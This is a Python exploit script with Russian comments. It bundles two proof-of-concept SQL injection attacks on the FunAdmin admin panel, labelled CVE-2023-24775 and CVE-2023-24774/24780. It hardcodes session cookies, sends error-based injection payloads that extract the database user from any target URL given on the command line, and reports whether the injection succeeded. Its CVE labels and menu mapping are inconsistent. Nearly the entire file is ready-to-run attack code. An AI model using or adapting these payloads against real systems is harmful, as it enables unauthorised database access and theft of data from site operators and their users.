import requests import sys import urllib.parse import uuid '''Генирация X-CSRF-TOKEN''' csrf_token =uuid.uuid4() csrf_token =str(csrf_token) csrf_token = csrf_token.replace('-', '') '''Добавление общих для двух сплоиитов заголовков''' headers = {} headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" headers["Accept"] = "application/json, text/javascript, */*" headers["Accept-Language"]= "zh-CN,zh" headers["X-Requested-With"] = "XMLHttpRequest" headers["X-CSRF-TOKEN"] = csrf_token '''Сплоит для CVE-2023-24775''' def poc_CVE_2023_24775(url): headers["Host"] = url headers["Content-Type"] = "application/x-www-form-urlencoded" headers["charset"] = "UTF-8" headers["Accept-Encoding"]= "gzip" url=str(url) url=url+"/backend/member.memberLevel/index?parentField=pid&" '''Добавление куки файлов - внимание если эти куки вам не подхдоят можете заменить на ваши сессионные куки ''' cookies={'Hm_lvt_ce074243117e698438c49cd037b593eb':'1673498041','PHPSESSID':'591a908579ac738f0fc0f53d05c6aa51', 'think_lang':'zh-cn', 'Hm_lvt_8dcaf664827c0e8ae52287ebb2411aed':'1674888420', 'Hm_lpvt_8dcaf664827c0e8ae52287ebb2411aed':'1674888420', 'auth_account':'YToxOntzOjEyOiJhY2Nlc3NfdG9rZW4iO3M6MzI3OiJleUowZVhBaU9pSktWMVFpTENKaGJHY2lPaUpJVXpJMU5pSjkuZXlKdFpXMWlaWEpmYVdRaU9qRTFORGdzSW1Gd2NHbGtJam9pSWl3aVlYQndjMlZqY21WMElqb2lJaXdpYVhOeklqb2lhSFIwY0hNNkx5OTNkM2N1Wm5WdVlXUnRhVzR1WTI5dElpd2lZWFZrSWpvaWFIUjBjSE02THk5M2QzY3VablZ1WVdSdGFXNHVZMjl0SWl3aWMyTnZjR1Z6SWpvaWNtOXNaVjloWTJObGMzTWlMQ0pwWVhRaU9qRTJOelE0T0RrMU1EQXNJbTVpWmlJNk1UWTNORGc0T1RVd01Dd2laWGh3SWpveE5qYzFOVGd3TnpBd2ZRLkJITHd5WU5nNkpVVUZmMFFucGM0aHk2YlZ1c1V6WkVqR3N2SElva0pxYU0iO30%3D', 'clound_account':'YTo0OntzOjI6ImlkIjtpOjE1NDg7czo4OiJ1c2VybmFtZSI7czoxMDoibXlmdW5hZG1pbiI7czo4OiJuaWNrbmFtZSI7czowOiIiO3M6NjoiYXZhdGFyIjtzOjM2OiIvc3RhdGljL2Zyb250ZW5kL2ltYWdlcy9hdmF0YXIvNi5qcGciO30%3D' } ''' Ввод sqli если вы не ввели ничего то ввод стандартной иньекции''' sqli= str(input("input selectFields[name]=name&selectFields[value]=your select sqli")) if(len(sqli)!=0): sqli = urllib.parse.quote_plus(sqli) url=url+sqli else: url=url+"selectFields%5Bname%5D=name&selectFields%5Bvalue%5D=extractvalue%281%2Cconcat%28char%28126%29%2Cuser()%29%29" print(url) '''Запрос на инькцию и вывод ответа''' sqli_request= requests.get(url, cookies=cookies, headers=headers) print(sqli_request.text) '''Проверка есть в тексте ответа sqli_request "message", если есть то скорее всего сплоит работает: https://github.com/funadmin/funadmin/issues/9''' if('message' in sqli_request.text): print('**POC CVE-2023-24775 sqli works** :)') else: print('**POC CVE-2023-24775 sqli not works** :(') '''Сплоит для CVE-2023-24780''' def poc_CVE_2023_24774(url): headers["Host"] = url headers["Origin"] = url headers["Accept-Encoding"] = "gzip, deflate" url=str(url) url=url+"/databases/table/columns?id='" '''Добавление куки файлов - внимание если эти куки вам не подхдоят, можете заменить на ваши сессионные куки ''' cookies={'Hm_lvt_ce074243117e698438c49cd037b593eb':'1673498041', 'ci_session':'ca40t5m9pvlvp7gftr11qng0g0lofceq', 'PHPSESSID':'591a908579ac738f0fc0f53d05c6aa51', 'think_lang':'zh-cn', 'Hm_lvt_8dcaf664827c0e8ae52287ebb2411aed':'1674888420', 'Hm_lpvt_8dcaf664827c0e8ae52287ebb2411aed':'1674888420', 'auth_account':'YToxOntzOjEyOiJhY2Nlc3NfdG9rZW4iO3M6MzI3OiJleUowZVhBaU9pSktWMVFpTENKaGJHY2lPaUpJVXpJMU5pSjkuZXlKdFpXMWlaWEpmYVdRaU9qRTFORGdzSW1Gd2NHbGtJam9pSWl3aVlYQndjMlZqY21WMElqb2lJaXdpYVhOeklqb2lhSFIwY0hNNkx5OTNkM2N1Wm5WdVlXUnRhVzR1WTI5dElpd2lZWFZrSWpvaWFIUjBjSE02THk5M2QzY3VablZ1WVdSdGFXNHVZMjl0SWl3aWMyTnZjR1Z6SWpvaWNtOXNaVjloWTJObGMzTWlMQ0pwWVhRaU9qRTJOelE0T0RrMU1EQXNJbTVpWmlJNk1UWTNORGc0T1RVd01Dd2laWGh3SWpveE5qYzFOVGd3TnpBd2ZRLkJITHd5WU5nNkpVVUZmMFFucGM0aHk2YlZ1c1V6WkVqR3N2SElva0pxYU0iO30%3D', 'clound_account':'YTo0OntzOjI6ImlkIjtpOjE1NDg7czo4OiJ1c2VybmFtZSI7czoxMDoibXlmdW5hZG1pbiI7czo4OiJuaWNrbmFtZSI7czowOiIiO3M6NjoiYXZhdGFyIjtzOjM2OiIvc3RhdGljL2Zyb250ZW5kL2ltYWdlcy9hdmF0YXIvNi5qcGciO30%3D'} ''' Ввод sqli, если вы не ввели ничего то ввод стандартной иньекции''' sqli= str(input("input sqli:")) if(len(sqli)!=0): sqli = sqli.replace(' ', '+') url=url+sqli+"--+qRTY" else: url=url+"+AND+GTID_SUBSET(CONCAT(0x12,(SELECT+(ELT(6415=6415,1))),user()),6415)--+qRTY" print(url) '''Запрос на инькцию и вывод ответа''' sqli_request= requests.get(url, cookies=cookies, headers=headers) print(sqli_request.text) '''Проверка есть в тексте ответа sqli_request "message", если есть то скорее всего сплоит работает: https://github.com/funadmin/funadmin/issues/6''' if('message' in sqli_request.text): print('**POC CVE-2023-24774 sqli works** :)') else: print('**POC CVE-2023-24774 sqli not works** :(') if __name__ == "__main__": args = ['-h','-u'] if args[0] in sys.argv: print("-h= help, -u=url; python sql.py -u https://site.com") if args[1] in sys.argv: url=sys.argv[2] which_cve=int(input("which cve test,CVE-2023-24775 or CVE-2023-24780? if CVE-2023-24780 enter 1, if CVE-2023-24775 enter 2:")) if(which_cve==1): poc_CVE_2023_24775(url) if(which_cve==2): poc_CVE_2023_24774(url)